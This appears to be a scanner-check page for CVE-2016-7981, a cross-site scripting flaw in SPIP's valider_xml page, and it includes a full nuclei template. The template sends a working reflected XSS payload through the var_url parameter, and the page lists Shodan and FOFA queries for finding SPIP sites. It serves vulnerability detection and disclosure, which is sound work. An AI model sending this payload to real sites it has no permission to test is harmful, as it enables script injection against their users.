SPIP <3.1.2 - Cross-Site Scripting

mediumseverity

6.1CVSS score

8.2%likelihood of exploitation, next 30 days

95%of all CVEs are less likely

Readycheck to confirm it

SPIP 3.1.2 and earlier contains a cross-site scripting vulnerability in valider_xml.php which allows remote attackers to inject arbitrary web script or HTML via the var_url parameter in a valider_xml action.

Impact

Successful exploitation of this vulnerability could allow an attacker to execute arbitrary script code in the context of the victim's browser.

Fix

Upgrade SPIP to version 3.1.2 or later to mitigate this vulnerability.

How to confirm it

Send: GET {{BaseURL}}/ecrire/?exec=valider_xml&var_url=%22%3E%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E
Positive when: contains "\"></script><script>alert(document.domain)</script>" AND contains in header "text/html" AND status 200

Run it with nuclei: nuclei -id CVE-2016-7981 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2016-7981

info:
  name: SPIP <3.1.2 - Cross-Site Scripting
  author: pikpikcu
  severity: medium
  description: |
    SPIP 3.1.2 and earlier contains a cross-site scripting vulnerability in valider_xml.php which allows remote attackers to inject arbitrary web script or HTML via the var_url parameter in a valider_xml action.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary script code in the context of the victim's browser.
  remediation: |
    Upgrade SPIP to version 3.1.2 or later to mitigate this vulnerability.
  reference:
    - https://core.spip.net/projects/spip/repository/revisions/23202
    - https://core.spip.net/projects/spip/repository/revisions/23201
    - https://core.spip.net/projects/spip/repository/revisions/23200
    - https://nvd.nist.gov/vuln/detail/CVE-2016-7981
    - http://www.openwall.com/lists/oss-security/2016/10/05/17
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2016-7981
    cwe-id: CWE-79
    epss-score: 0.08216
    epss-percentile: 0.94929
    cpe: cpe:2.3:a:spip:spip:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: spip
    product: spip
    shodan-query:
      - http.html:"spip.php?page=backend"
      - cpe:"cpe:2.3:a:spip:spip"
    fofa-query: body="spip.php?page=backend"
  tags: cve2016,cve,xss,spip,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/ecrire/?exec=valider_xml&var_url=%22%3E%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"></script><script>alert(document.domain)</script>'

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200

References

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